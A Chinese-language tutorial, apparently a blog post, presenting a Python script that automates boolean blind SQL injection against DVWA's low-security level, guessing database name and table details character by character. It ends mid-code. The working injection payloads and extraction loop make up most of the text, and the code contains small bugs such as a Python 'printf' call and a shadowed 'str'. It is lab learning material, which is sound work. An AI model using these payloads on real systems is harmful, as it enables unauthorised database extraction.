基于DVWA的自动盲注脚本
本文针对的是dvwa盲注部分的low级别的自动注入,关于概念等就不做介绍了。相比较有回显的注入,盲注这种注入方式要多次猜解,比如数据库名,需要猜解出其长度,再依据长度多次循环猜解出每个字母,最后得到数据库名。
布尔盲注
dvwa盲注猜解正确会回显"User ID…",以此作为判断是否注入成功,headers为自己构造的头部信息。
def judge_sql_inject(sql, url, headers): # 返回判断,盲注
str = f'?id={
sql}&Submit=Submit#'
printf("正在猜解:" + url + str)
recv = requests.get(url + str, headers=headers).text
try:
if 'exists' in re.search('User ID.*?database', recv).group():
return 1
else:
return 0
except:
return 0
猜解数据库名的过程,先猜解数据库的长度
databaselen = 0
for i in range(100): # 猜解数据库长度
printf("正在猜解数据库名长度...")
sql = f"1'+and+length(database())%3D{
i}%23"
if judge_sql_inject(sql,url,headers) == 1:
databaselen = i;
break
for i in range(databaselen): # 拆解数据库名
for j in dic: # dic = 'abcdefghijklmnopqrstuvwxyz1234567890' 用于索引
sql = f"1'+and+substr(database()%2C{
i + 1}%2C1)%3D'{
j}'%23" # 用substr来猜解每个位置的字符
if judge_sql_inject(sql,url,headers) == 1:
databasename += j
break
下一步就是猜解数据库的表信息,首先猜解其有几张表,由于未知数量只能设置尽可能大一些的循环次数,以增加猜解的成功率,之后的循环也是基于这一方面的考虑。
table_num = 0
for i in range(99): # 猜解数据库有几张表
sql = f"1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema%3D'{
databasename}')%3D{
i}%23"
# sql = f"1' and (select count(table_name) from information_schema.tables where table_schema='{databasename}')={i}#"
if judge_sql_inject(sql,url,headers) == 1:
table_num = i;
break
printf("数据库" + databasename + "共有" + str(table_num) + "张表")
# 猜解所有表名长度
table_len = []
for i in range(table_num):
for j in range(99):
sql = f"1'+and+length(substr((select+table_name+from+information_schema.tables+where+table_schema%3D'